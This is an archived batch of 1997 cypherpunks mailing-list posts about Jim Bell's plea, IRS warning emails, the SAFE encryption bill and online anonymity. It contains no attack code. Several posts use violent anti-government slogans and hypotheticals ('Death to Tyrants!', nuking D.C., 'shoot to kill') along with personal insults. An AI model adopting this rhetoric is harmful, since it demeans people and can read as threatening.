>>
>>
>>
>>					United States Attorney
>>					Western District of Washington
>>
>>FOR IMMEDIATE RELEASE
>>July 18, 1997
>>
>>JAMES D. BELL PLEADS GUILTY TO OBSTRUCTING THE IRS AND USING FALSE SOCIAL
>>SECURITY NUMBERS
>.....

>There's something wrong when I'm a felon under an increasing number of
>laws. Only one response to the key grabbers is warranted: "Death to
>Tyrants!"
>---------:---------:---------:---------:---------:---------:---------:----
>Timothy C. May              | Crypto Anarchy: encryption, digital money,
>tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms,
>zero W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information
>markets, Higher Power: 2^1398269     | black markets, collapse of
>governments. "National borders aren't even speed bumps on the information
>superhighway."





- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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nQZrWGbuyq/RTwmXguLjPXa3gHYmVrucBR/9i1DQZnDPalADFJ/TfZnLZrSQ8tdn
4nN/HqWFxT/DAwBCQdMpoZGQL5tYKFl3jr7sBdCcK2Xo++l0LoYacs5DUGHlDUxT
iirzH37Z3DY=
=DLMi
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 23 Jul 1997 05:39:12 +0800
To: cypherpunks@cyberpass.net
Subject: Re: CDT's Berman Opposes Online Anonymity
In-Reply-To: <199707211648.SAA11236@basement.replay.com>
Message-ID: <199707222127.XAA17893@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> In fairness to Berman, in 1985 very few people were thinking seriously
> about these issues, and Chaum's paper (presumably the one published that
> year in "Communicatons of the ACM") was probably seen as far-off
> technology then.
> 
> I'd be more interested to see Berman's more recent views on online
> anonymity.
> 
> It might well be that in 1985 he saw little hope for technological
> solutions, and understandably placed more faith in legislative solutions.
> 
> Now that the technology for anonymity is widely deployed, this situation
> has changed.

I think we've all been thru this before, with the Esther Dyson flap and
so on.  That was then, this is now.

Online anonymity was not much of a real issue ten years ago, and I doubt
most readers had formed much of an opinion on it.  On private BBSes it
was prevelant, and on academic and corporate networks it was virtually
nonexistant.  As these networks began to merge, not surprisingly people
came down on both sides of the issue, but their opinions were backed more
by convention than by the facts of the situation.

I think that as time has progessed, people have come to see the reasons
behind it.  Five years ago, there was considerable debate over whether
anon.penet.fi should exist, today almost everyone takes for granted the
right to post anonymously.  For all the animosity he has caused, Spamford
Wallace has shown us why you don't want people to know your email address.
Some of you may remember the comments made on the list by a certain law
professor, who said he wouldn't post to usenet because he didn't want to
get junk mail.  In hindsight we can laugh at that remark in light of the
obvious solution.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 23 Jul 1997 05:41:30 +0800
To: cypherpunks@cyberpass.net
Subject: Re: CDT's Berman Opposes Online Anonymity
In-Reply-To: <199707211648.SAA11236@basement.replay.com>
Message-ID: <199707222133.XAA18575@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> Now that the technology for anonymity is widely deployed, this situation
> has changed.

Is it so, or rather is it that the technology has been deployed in response
to a changing situation?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 23 Jul 1997 14:55:43 +0800
To: cypherpunks@Algebra.COM
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <199707230546.HAA20775@basement.replay.com>
Message-ID: <v03102800affb589a7e0d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:46 PM -0700 7/22/97, Anonymous wrote:

>  Perhaps the hardest part of maintaining secure communications and
>personal privacy is remembering that, no matter how tight you run your
>own ship, you are, to a certain extent, "married" to the people with
>whom you communicate. And, to use an AIDS analogy, you are also
>"married" to everyone they have slept with.

I really can't agree with this viewpoint. Insofar as _crypto_ goes, the
beauty of public key systems is that one shares _nothing_ with others. They
don't have your secret keys, and you don't have theirs.

It is true that their communications with you, or yours with them, may be
used against you. Maybe by them, maybe if their computers are stolen or
seized. But this is unavoidable with any communication system. Contact
tracking is often possible.

And crypto even allows for fully pseudonymous communication. Thus, if the
IRS and FBI seized Bell's computer and found communications through
remailers with "Pr0duct Cypher," his or her True Name, meatspace personna
would be safe.

>  The bottom line is that one should "err" on the side of safety. Being
>_too_ paranoid is less costly than not being paranoid enough.
>  Tim May's rants are not done in ignorance. He understands the legal
>differences between saying "The criminals in D.C. _should_ be nuked.",
>and saying, "I _am_going_to_ nuke the criminals in D.C., someday."
>(Friday, at 4 o'clock.)
>  I am certain that Tim is well aware that, even if he is right about
>his statements being Constitutionally protected free speech, there is
>always the chance that he could suffer grief or imprisonment for them(
>quite simply because "the criminals" are getting more profecient at
>subverting and destroying the rights protected by the Constitution).
>  I am just as certain that Tim has made a conscious decision as to
>what level of risk he is willing to take to speak his mind and perhaps
>make a difference in the events of his time, without merely being
>egoistical, stupid, and suicidal.

If I wanted to be "safe" and "secure," I'd just stay silent like a good
little sheeple. I'd get off this list, I'd cluck appropriately at those
darned cypher-terrorists, and I'd volunteer some time at the local
Demopublican Party machine.

All of us on this list, except the plants and shills, are risking a certain
amount. (Several corporate types have sent me e-mail saying that now that
they are in positions of respectability within their corporations, they can
no longer say what's on their mind, for fear of repercussions of various
sorts, however mild.)

Speaking out is what separates us from sheeple.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 23 Jul 1997 15:27:20 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Privacy: Law, Custom, and Technology
In-Reply-To: <v03007804aff9d745474f@[207.94.249.108]>
Message-ID: <v03007814affb5f9aacf5@[207.94.249.108]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:52 AM -0700 7/22/97, Unprivileged user wrote:
>Custom is determined by evolution, not by specification.  And that cannot
>be accelerated, and will be a problem until everyone has been on the net
>long enough to establish a common set of manners.  How much information
>does someone retain?  Enough so that a web page presents your desired
>configuration without having to retype it?  Should they pass this on to a
>sister site?  A different company?

I'm not sure I agree that the evolution of custom can not be accelerated.
If we actively discuss the proper limits to use of private information, are
we not accelerating the development of consensus about what are reasonable
policies.  It is precisely the lack of such discussion, and the lack of
trust that accompanies it that leaves us in the situation we find ourselves
in; between the well defined Netiquette of the ARPANET days, and whatever
our commercial net will evolve.

There are a lot of choices.  For example:

(1) Don't remember anything about me as an individual.
(2) Don't share any individual data.
(3) Feel free to share, but leave my name off.
(4) Sell the data, but give me a piece of the action.

I can imagine that any of these will be acceptable to some people.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 23 Jul 1997 16:13:46 +0800
To: cypherpunks@toad.com
Subject: House crypto-vote echoes classified briefing (plus: COWS!)
Message-ID: <Pine.GSO.3.95.970723005201.14455E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Wed, 23 Jul 1997 00:43:48 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: House crypto-vote echoes classified briefing (plus: COWS!)

Another House panel approved the SAFE encryption bill
Tuesday afternoon after a tense debate, capped by the
surprise testimony of a phalanx of law enforcement lobbyists
who appeared at what was scheduled to be a straightforward
vote.

The International Relations committee rejected 22-13 an
amendment that would gut the generally pro-crypto measure
by returning complete control over crypto-exports to the
president, then passed the SAFE bill unchanged.

In the process, the committee replayed an off-the-record
debate that took place on June 26 at a classified briefing
in the Capitol. The 64-page transcript of last month's
hearing, now redacted and declassified, reveals the same
tension between law enforcement and national security
lobbyists and two SAFE backers: Rep. Bob Goodlatte (R-Va)
and Rep. Lofgren (D-Ca).

Much of the talk at the classified briefing centered around
how to coerce Americans -- and more importantly, high tech
firms -- to adopt and use a "key recovery infrastructure"
that would allow the government to have ready access to the
secret keys used for encryption and decryption. Bill
Reinsch, Commerce Department undersecretary, said, "The
question is, how do we get there? We were trying to get
there through export controls. That may or may not be the
best way. Arguably import control might be the better way,
but nobody wants to do import controls, and they are off
the map."

Rep. Howard Berman (D-Ca) suggested banning unapproved
encryption altogether: "Why don't you treat it like heroin
or something?" Replied FBI Director Louis Freeh: "Within
the administration there have been long and not harmonious
discussions about what approach is more requisite. The law
enforcement components perhaps have more immediate view,
and that debate is pretty much over within the
administration..."

Then Reinsch complained that Microsoft wasn't playing ball
with the administration: "They appear not to believe that
key recovery is the way of the future." (I don't make this
stuff up, folks.)

He wasn't the only one to sound an Orwellian note. The
NSA's Crowell said, "There is a need for an instrument,
just like the FCC has. When you get a garage door opener,
it is licensed so you will not turn on your neighbor's TV
with the garage door opener. There is a need for a
licensing process
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx."

The rest of his statement is gone from the transcript,
crossed out by the thick, eager pens of government
censors. This is why reading redacted documents is
always a nerve-wracking experience: you feel like you're
being teased with not enough information.

That also happened this afternoon. I've never seen
lobbyists as nervous as they were today before the
International Relations committee met for the SAFE vote.
Everyone expected the chair of the committee, Rep. Benjamin
Gilman (R-NY), to introduce amendments that would tilt the
bill to favor national security, but how would they be
phrased? Nobody knew. Why was the hearing postponed three
times -- was it official House business, or last-minute
deal-cutting? And why was Clipper Chip proponent James
Kallstrom, assistant director of the FBI, sitting in the
front row -- would he testify as an unscheduled
administration expert?

In the end, of course law enforcement and national security
advocates launched a full-court press -- and lost. Gilman,
the committee chair, introduced an amendment that would gut
the generally pro-crypto SAFE bill by returning complete
control over crypto-exports to the president. Industry
groups and civil libertarians denounced it (correctly) as
nullifying SAFE. It would be just as bad, and arguably
worse, than Congress not passing any bill in the first
place. Worse yet, they said, Gilman cloaked his amendment
in "national security" language that would appeal to
members of his committee who are used to approving such
measures.

Then there were the cows. Again, I'm not making this up.
Apparently if a cow is out of the barn, it no longer makes
sense to shut the barn door to prevent any more cows from
leaving. (I can't attest to this personally. Perhaps
cows have an inherent sense of occasion.) "Do we open the
doors to let all the cows out?" asked one committee member.
The FBI's Kallstrom rebutted: "There are many, many still
left inside the barn." No, said Lofgren. "The cows are
tromping all over America. Cows can replicate. They're
being born all over the world. There's plenty of beef
available!"

SAFE now moves to three more committees simultaneously:
Commerce, National Security, and Intelligence, which have
until early September to vote on the bill. Since the
Clinton administration lobbyists met with a bitter defeat
in the International Relations committee, expect them to
use the August recess to redouble their lobbying attempts.
They may concentrate hardest on House Rules committee
members, who will be tasked with reconciling any
amendments to SAFE.

Yet even after today's vote, the overall encryption outlook
in Congress remains dismal. SAFE's companion bill in the Senate,
ProCODE, is dead and gutted. It's been replaced with the
McCain-Kerrey bill, which is pro-key escrow legislation
that the administration supports. And, most importantly,
the president has said he'll veto any pro-crypto bill that
comes across his desk...

---

Gilman's amendment offered today:
	
	NATIONAL SECURITY EXCEPTION -- Notwithstanding any other
	provision of this subsection, the President shall have
	the authority to regulate, including through the approval
	or denial of licenses or other means deemed appropriate,
	the export or reexport of encryption items, including
	hardware and software with encryption capabilities, if
	the President find that the export of such items would
	adversely affect the national security. National security
	shall include, but not be limited to, the ability of law
	enforcement agencies, including Federal, State, and local
	agencies, to combat espionage, terrorism, illicit drugs,
	kidnapping, or other criminal acts, or otherwise would
	involve the potential for loss of human life.

---

Excerpt from Secretary of Defense William Cohen's letter to
Congress, dated July 21, 1997:	

	It is also important to note that the Department of Defense
	relies on the Federal Bureau of Investigation for the
	apprehension and prosecution of spies. Sadly, there have
	been over 60 espionage convictions of federal employees
	over the last decade. While these individuals represent
	a tiny minority of government employees, the impact of
	espionage activities on our nation's security can be
	enormous. As the recent arrests of Nicholson, Pitts, and
	Kim clearly indicate, espionage remains a very serious
	problem. Any policies that detract from the FBI's ability
	to perform its vital counterintelligence function,
	including the ability to perform wiretaps, inevitably
	detract from the security of the Department of Defense
	and the nation...

	Encryption legislation must also address the nation's
	domestic information security needs. Today, approximately
	95% of DoD communications rely on public networks; other
	parts of government, and industry, are even more
	dependent on the trustworthiness of such networks.
	Clearly, we must ensure that encryption legislation
	addresses these needs. An approach such as the one
	contained in S.909 can go a long way toward balancing the
	need for strong encryption with the need to preserve
	national security and public safety. I hope that you will
	work with the Administration to enact legislation that
	addresses these national security concerns as well as the
	rights of the American people...

---

More info:

  http://pathfinder.com/netly/opinion/0,1042,1022,00.html

  http://pathfinder.com/netly/editorial/0,1012,931,00.html

  http://www.jya.com/declan3.txt

  http://www.jya.com/declan2.txt

  http://www.jya.com/declan1.txt

  http://www.well.com/~declan/fc/

###








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 23 Jul 1997 15:56:47 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Privacy: Law, Custom, and Technology
In-Reply-To: <97Jul22.115025edt.32258@brickwall.ceddec.com>
Message-ID: <v03102801affb6757f486@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:22 AM -0700 7/23/97, Bill Frantz wrote:

>I'm not sure I agree that the evolution of custom can not be accelerated.
>If we actively discuss the proper limits to use of private information, are
>we not accelerating the development of consensus about what are reasonable
>policies.  It is precisely the lack of such discussion, and the lack of
>trust that accompanies it that leaves us in the situation we find ourselves
>in; between the well defined Netiquette of the ARPANET days, and whatever
>our commercial net will evolve.
>
>There are a lot of choices.  For example:
>
>(1) Don't remember anything about me as an individual.
>(2) Don't share any individual data.
>(3) Feel free to share, but leave my name off.
>(4) Sell the data, but give me a piece of the action.
>
>I can imagine that any of these will be acceptable to some people.

But these "agreements" have two sides.

None of the four choices you list are of any interest to me, for example,
and whether you find them acceptable is of no interest to me.

(I am not trying to be rude to Bill, just making the point forcefully that
I don't particularly care that these four choices are acceptable to "some
people.")

I of course remember _lots_ of things about people, I share those memories
on occasion (without requesting permission), I mention names, and I
certainly don't recall every giving one of the subjects of my memories a
cut of the action.

In a free society, it is not possible or acceptable to control what others
remember or gossip about. Or even sell commercially.

"Custom" only applies to those who adopt the custom--the "law" is for
everyone else. The question is: do we have a law demanding that people not
remember certain things, or not gossip about what they've observed? I think
even a totalitarian society will have well-known problems enforcing such
laws.

I'd've thought this obvious, but Bill's post makes me wonder.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 23 Jul 1997 16:20:47 +0800
To: cypherpunks@Algebra.COM
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <199707230546.HAA20775@basement.replay.com>
Message-ID: <19970723010939.51681@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Jul 22, 1997 at 11:54:39PM -0700, Tim May wrote:
> At 10:46 PM -0700 7/22/97, Anonymous wrote:
[...]
> >  Tim May's rants are not done in ignorance. He understands the legal
> >differences between saying "The criminals in D.C. _should_ be nuked.",
> >and saying, "I _am_going_to_ nuke the criminals in D.C., someday."
> >(Friday, at 4 o'clock.)
[...]
> >  I am just as certain that Tim has made a conscious decision as to
> >what level of risk he is willing to take to speak his mind and perhaps
> >make a difference in the events of his time, without merely being
> >egoistical, stupid, and suicidal.
> 
> If I wanted to be "safe" and "secure," I'd just stay silent like a good
> little sheeple. I'd get off this list, I'd cluck appropriately at those
> darned cypher-terrorists, and I'd volunteer some time at the local
> Demopublican Party machine.
> 
> All of us on this list, except the plants and shills, are risking a certain
> amount. (Several corporate types have sent me e-mail saying that now that
> they are in positions of respectability within their corporations, they can
> no longer say what's on their mind, for fear of repercussions of various
> sorts, however mild.)
> 
> Speaking out is what separates us from sheeple.

Actually, nothing whatsoever separates Tim from sheeple.  

As anon clearly points out, Tim toes the line with his speech,
carefully avoiding saying anything that escapes constitutional
protection.  In fact he frequently sprinkles his posts with comments
pointing out that some outrageous thing he just said is
constitutionally protected. 

And Tim doesn't have to worry about an employer, unlike the "corporate
types" he mentions, but he (as he noted in a recent post) pays his
taxes like everyone else.  He said, as I recall, that he of course
didn't like paying, but essentially that it was too much trouble to
avoid it.  Tim sees the Man, and Tim knows who's boss.

Yes, Tim talks a brave talk.  But, though the parameters of his 
slavery are different than most of ours, he is part of the flock, 
nonetheless. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 23 Jul 1997 19:24:08 +0800
To: cypherpunks@toad.com
Subject: Re: DEATH TO TYRANTS
Message-ID: <1.5.4.32.19970723105319.006bc6dc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

>By the way, I don't recall it being mentioned that [my] message from "IRS
>Inspection" had an interesting subject line: DEATH TO TYRANTS.


The six other headers received or forwarded here have the same subject: 
"Something of Interest."

Further, Tim's message is so far the earliest of the batch: 12:18 compared to 
the next at 12:25 which went to a mail list based in Norway. Others followed 
at about 1 minute intervals, the last at 12:33.

See the full headers at:

   http://jya.com/irs-header.txt

BTW, Declan, did you not once write that IRS offices are down the corridor
from yours? If so, would you care to ask the thieves their opinion of the spam,
especially if they are the authors, sneaking into your box and lifting lists
while 
you're sipping and baseballing with the brokers?

Cite me as inquring an CU-FU, if you prefer to keep reportorial distance. Write
up spam story, do, providing that you're up to snuff paying Crispin-bandit 
extortion.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Wed, 23 Jul 1997 19:43:30 +0800
To: Mike Duvos <cypherpunks@cyberpass.net
Subject: Re: R.I.P Jim Bell
In-Reply-To: <3.0.2.32.19970721145141.006b0038@panix.com>
Message-ID: <3.0.2.32.19970723071928.03d1d32c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 03:03 PM 7/21/97 -0700, Mike Duvos wrote:

>Perhaps.  But he would have been tried in the media, and would
>probably have been transformed into "Terrorist Jim Bell" at the
>hands of the spin masters.  In the end, even if he won in court,
>he would have been about as popular as OJ, 

He would have had support among his counter cultural group (us).  He wasn't 
accused of very serious acts like OJ.

>Tell that to Robert "ream me again, please" Thomas of Amateur
>Action BBS fame, who wasn't even accused of being a potential
>terrorist, much less of trying to overthrow the entire
>government.

All the sedition cases of the last 60 years (2) have been lost by the Feds.  
Sedition is really hard to win (and of course JB wasn't accused of same).

>Don't plead in political cases like Steve Jackson Games, PROMIS,
>Operation Sun Devil, etc...  On the other hand, if you are
>accused of being one of the actual Four Horsemen, and the feds
>are holding press conferences on every channel with inflammatory
>voice-over editorials describing the alleged contents of your
>dwelling, some capitulation to the Barbarians may be necessary.

The "911 Document" prosecutions that grew out of Operation Sun Devil were for 
one of the Four Horsemen: terrorists.  Evil Hackers who would destroy the 911 
system.  There were lots of inflammatory statements from the prosecutors but 
they really bit it when forced to go to trial.

DCF

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM9XovoVO4r4sgSPhAQGTegP8CQIVLlAXW46MrtWQZbQPmLHaNROleY41
vHGXWuS5K8RYg3QCQbbzuz5xcarf8mOkvBChyn9ooE5uzWbVlcdrblUqb8Zh9CgI
Zfuv0xQp0lHh2MygvtxFhKE7DBk/0owaFoyYYfdPmkwtM93+ZsknxV756rMT5VWA
7LvLnqteUxw=
=TZFC
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 23 Jul 1997 22:50:23 +0800
To: cypherpunks@toad.com
Subject: RE: House crypto-vote echoes classified briefing (plus: COWS!)
Message-ID: <Pine.GSO.3.95.970723073712.18339B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



The report isn't online, BTW. At least not yet...

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 23 Jul 1997 20:02:18 +0800
To: cypherpunks@toad.com
Subject: Jim Bell Docket 3
Message-ID: <1.5.4.32.19970723114324.006a189c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



We've updated Jim Bell's court docket to show July 18 entries for
the plea agreement:

   http://jya.com/jimbell-dock2.htm

It lists a waiver of indictment, a plea agreement "filed under seal"
and a hearing for sentencing set for October 17.

Jim's remanded to jail until then, making a total of five months of time
served since arrest.

Consider that everyone in the case is supported by the tax-extortion Jim
was fighting. The Federal/Community Defender program is bribed at
$308,000,000 for FY 1998.

Keep up this self-serving banditry, you millions of members of Crispin's 
extortion-by-law-mil/gov big-gun-show world, and reap what you sow.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 23 Jul 1997 14:01:11 +0800
To: cypherpunks@toad.com
Subject: Re: IRS sending warning notes, violating ECPA?
Message-ID: <199707230546.HAA20775@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley wrote:
> 
> > It certainly appears that the IRS has sent "warnings" out to all of us
> > active in the debate. 
> The way I see it there are two possible ways the motherfuckers got the
> addresses, either they found the lists Jim subscribed to and did "who
> cypherpunks" etc. to the servers, to get the list of participants, or
> they used any adresses off the mail jim has recieved in the past, I got a
> copy of it and I have privately emailed Jim several times so I can`t
> really say which is more likely.
> 
> If it is the second I am hereby giving Jim a public dresssing down for
> not encrypting the filesystem ;-)....

Paul,
  I spoke to the judge in the case and he has agreed that your
"dressing down" of Jim is a far more severe sentence than anything
he could impose, so he is turning Jim loose this afternoon.

  Seriously...
  Your comments reminded me why I read the PRZ's PGP manual/intro
every now and again to refresh my memory/paranoia about security
issues.
  Perhaps the hardest part of maintaining secure communications and
personal privacy is remembering that, no matter how tight you run your
own ship, you are, to a certain extent, "married" to the people with
whom you communicate. And, to use an AIDS analogy, you are also
"married" to everyone they have slept with.
  Perhaps you would trust "mom" with your life. However, what if the
ever-present "they" threatened to kill all of her other children 
unless she ratted you out? The answer to this question doesn't matter
if you have used cryptography and/or anonymity in a manner that doesn't
leave you vulnerable to anyone else.

  Even if mom would never 'rat you out' under any circumstances, does
she have the knowledge and discipline needed to keep "them" from being
able to access your communications with her?
  The bottom line is that one should "err" on the side of safety. Being
_too_ paranoid is less costly than not being paranoid enough.
  Tim May's rants are not done in ignorance. He understands the legal
differences between saying "The criminals in D.C. _should_ be nuked.",
and saying, "I _am_going_to_ nuke the criminals in D.C., someday."
(Friday, at 4 o'clock.)
  I am certain that Tim is well aware that, even if he is right about
his statements being Constitutionally protected free speech, there is 
always the chance that he could suffer grief or imprisonment for them(
quite simply because "the criminals" are getting more profecient at
subverting and destroying the rights protected by the Constitution).
  I am just as certain that Tim has made a conscious decision as to
what level of risk he is willing to take to speak his mind and perhaps
make a difference in the events of his time, without merely being
egoistical, stupid, and suicidal.

  Kent Crispin, when he's not being just plain ignorant, sometimes
manages to raise valid issues that serve as a counter-point to Tim's
views, but the bottom line is that, in the presence of two other
world-leaders who are privy to the mountains of information that is
kept hidden from the public by their governments, Jean Chretien,
the Prime Minister of Canada, openly stated that the politicians
in the U.S. would be imprisoned as criminals in most countries.
  It's true. Currently, Saskatchewan politicians are being
prosecuted for what would be considered "nickle and dime" matters
in the U.S. (e.g. <$1,000 wrongful use of expense accounts). In the
U.S., the S&L scandal involved _billions_ of dollars in fraud and
thievery and only a few of the really stupid bit-players got thrown
to the wolves.

  In short, when you communicate with anyone, it is your own
responsibility to limit the level of your future vulnerability.
If you think that it's OK to post a message to the list saying,
"I'm going to nuke D.C. on Friday, at 4 p.m. Shhh! Don't tell
anybody.", then go for it. (But keep in mind that some people
just can't keep a secret.)

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 23 Jul 1997 14:13:28 +0800
To: cypherpunks@toad.com
Subject: Re: R.I.P Jim Bell
Message-ID: <199707230550.HAA21080@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Mike Duvos wrote the stuff appended to this post:

Mike,
  I found this post either really funny or really scary.
  Maybe both.

TruthMonger
-----------
> Duncan Frissell <frissell@panix.com> writes:
> 
>  > I'll be curious to see what kind of deal he got.  It had
>  > better be an awfully good one (say "time served").  If not
>  > he was as dumb as toast.
> 
> Let's hope it was not the "8 years" I heard on the evening news,
> although I didn't catch whether that was just a possible
> sentence, or the results of the plea bargain negotiations.
> 
>  > He had a perfect chance to rake the Feds over the
>  > coals and try nasty disfavored defenses like
>  > Selective Prosecution.  Hard to win that one but
>  > he had as good a case as any one I've seen for
>  > that defense.  At the most, he would have gotten a
>  > short sentence if convicted.  Big deal.
> 
> Perhaps.  But he would have been tried in the media, and would
> probably have been transformed into "Terrorist Jim Bell" at the
> hands of the spin masters.  In the end, even if he won in court,
> he would have been about as popular as OJ, and the entire
> population of America would have learned to live their lives in
> constant fear of smelly organic chemicals and nickel-plated
> carbon fibers. Parents would be mail-ordering carbon fiber test
> kits to use in their childrens' rooms.
> 
>  > Since he was apparently not doing a great deal with his
>  > life in any case, he could have used it for some good.  Make
>  > the Feds spend hundreds of thousands of dollars on him and
>  > tie up their resources.
> 
> I would certainly try to make any such harrassment of me as
> expensive as possible for those engaging in it.  On the other
> hand, Bell does have living relatives, which makes unilateral
> nose-thumbing at the state apparatus more risky.
> 
>  > Prison is no punishment for those who like to read and write.
> 
> Being bossed around by assholes is always annoying, regardless of
> ones academic interests.
> 
>  > In these political cases where the Feds are clearly
>  > overreaching, those who don't plead do much better than
>  > those who do.  This is the reverse of the situation in
>  > normal criminal cases.
> 
> Tell that to Robert "ream me again, please" Thomas of Amateur
> Action BBS fame, who wasn't even accused of being a potential
> terrorist, much less of trying to overthrow the entire
> government.
> 
>  > Don't plead in political cases.  It's stupid.
> 
> Don't plead in political cases like Steve Jackson Games, PROMIS,
> Operation Sun Devil, etc...  On the other hand, if you are
> accused of being one of the actual Four Horsemen, and the feds
> are holding press conferences on every channel with inflammatory
> voice-over editorials describing the alleged contents of your
> dwelling, some capitulation to the Barbarians may be necessary.
> 
> There are a number of adages which apply to this situation,
> amongst them...
> 
>     Don't get involved in fights you can't win.
> 
>     When you aim for the King, shoot to kill.
> 
>     The goal of war is not to die for your country, but to make
>     sure the enemy dies for theirs.
> 
>     etc...
> 
> Enumerating Bell's violations of these common sense principles is
> left as an exercise to the reader.
> 
> --
>      Mike Duvos         $    PGP 2.6 Public Key available     $
>      enoch@zipcon.com   $    via Finger                       $
>          {Free Cypherpunk Political Prisoner Jim Bell}






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 23 Jul 1997 21:54:00 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <19970723010939.51681@bywater.songbird.com>
Message-ID: <199707231347.IAA23174@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19970723010939.51681@bywater.songbird.com>, on 07/23/97 
   at 01:09 AM, Kent Crispin <kent@songbird.com> said:

>Yes, Tim talks a brave talk.  But, though the parameters of his  slavery
>are different than most of ours, he is part of the flock,  nonetheless. 

Well Kent I think that there are distinct differences between someone like
Tim who dislikes his slavery and is actively working to remove his bonds
and others like yourself who not only like the "security" of being
inslaved but wish more chains to be put on us all.

Tim may be part of the "flock" but only because their is a gun to his head
while youself would be a sheeple even if the slavemasters were gone.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 23 Jul 1997 22:06:13 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Jim Bell Docket 3
In-Reply-To: <1.5.4.32.19970723114324.006a189c@pop.pipeline.com>
